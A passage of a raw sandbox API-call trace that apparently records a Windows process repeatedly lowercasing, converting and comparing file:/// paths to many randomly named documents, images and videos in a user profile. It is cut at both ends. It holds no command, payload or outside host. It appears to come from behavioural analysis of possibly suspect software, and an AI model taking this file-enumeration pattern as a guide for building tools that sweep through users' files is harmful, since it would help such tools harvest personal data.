_Str="file:///C:/Users/aETAdzjz/Desktop/GSiecs%20ARL59i.pps" | out: _Str="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps" [0069.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 54 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/cISVwXWmuvNvNDM.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg" [0069.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 54 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/RL27mS.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned="file:///c:/users/aetadzjz/desktop/rl27ms.mkv" [0069.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 45 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/kpRhFe62wLyHm_gju5i.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx" [0069.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 61 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/yuLsb9JD4.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 51 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/g_3izHwQ87.docx" | out: _Str="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 52 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/et-Ndsu%20foj42n/AAqhi024a_Y_t2MZeEd.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 119 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/uVDUw5.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 53 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/g1e5VbWMA0h.ods" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 58 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/Q4sa.xls" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 72 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Wvwv-n0sd.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 51 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/RT-vVidBgwYx6u.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif" [0069.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 111 [0069.095] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.095] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/O0q4uA6i.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 58 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/Fd%200EikYigmitDBhxtW.flv" | out: _Str="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 59 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/5H_jfktD9T3CFjg_0BPL.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 95 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/uosL_1FJKa5.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 84 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/XMyEoVEgMrzxAlKG.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 78 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/yeliA.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 67 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/YhGdbPj3CxKHLW.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 85 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/pmRH0A5jwr.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv" [0069.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 83 [0069.096] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.096] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/aSRj.csv" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 90 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/H1HmWUYWez_O3tM.docx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 98 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/E6gqzQsfU-.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 96 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/8Hx4XzItippukbDb.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 84 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/fcG74r-hLZX8KpasEjR.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 58 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/SrHCKdi.pps" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 82 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/Y8Zipz.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned="file:///c:/users/aetadzjz/videos/y8zipz.mkv" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 44 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/W6ad.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned="file:///c:/users/aetadzjz/pictures/w6ad.gif" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 44 [0069.097] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.097] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/OLrYSe9.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx" [0069.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 94 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/GgPYRX2ux.png" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 59 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/epGdSRURpJC0tQtqvE.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 101 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/DMWUzQLjb06L.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 51 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/sS5TodkeCRCIzVrpI.flv" | out: _Str="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 55 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/4_0E8edvE.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 48 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/p61kXIAdV1LK3Os9QI3q.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 106 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/O4G%208wQL.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 85 [0069.098] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.098] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/m4b.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls" [0069.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 50 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/WOvPFsXpF7LtOV.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx" [0069.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 100 [0069.099] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.099] _strlwr (in: 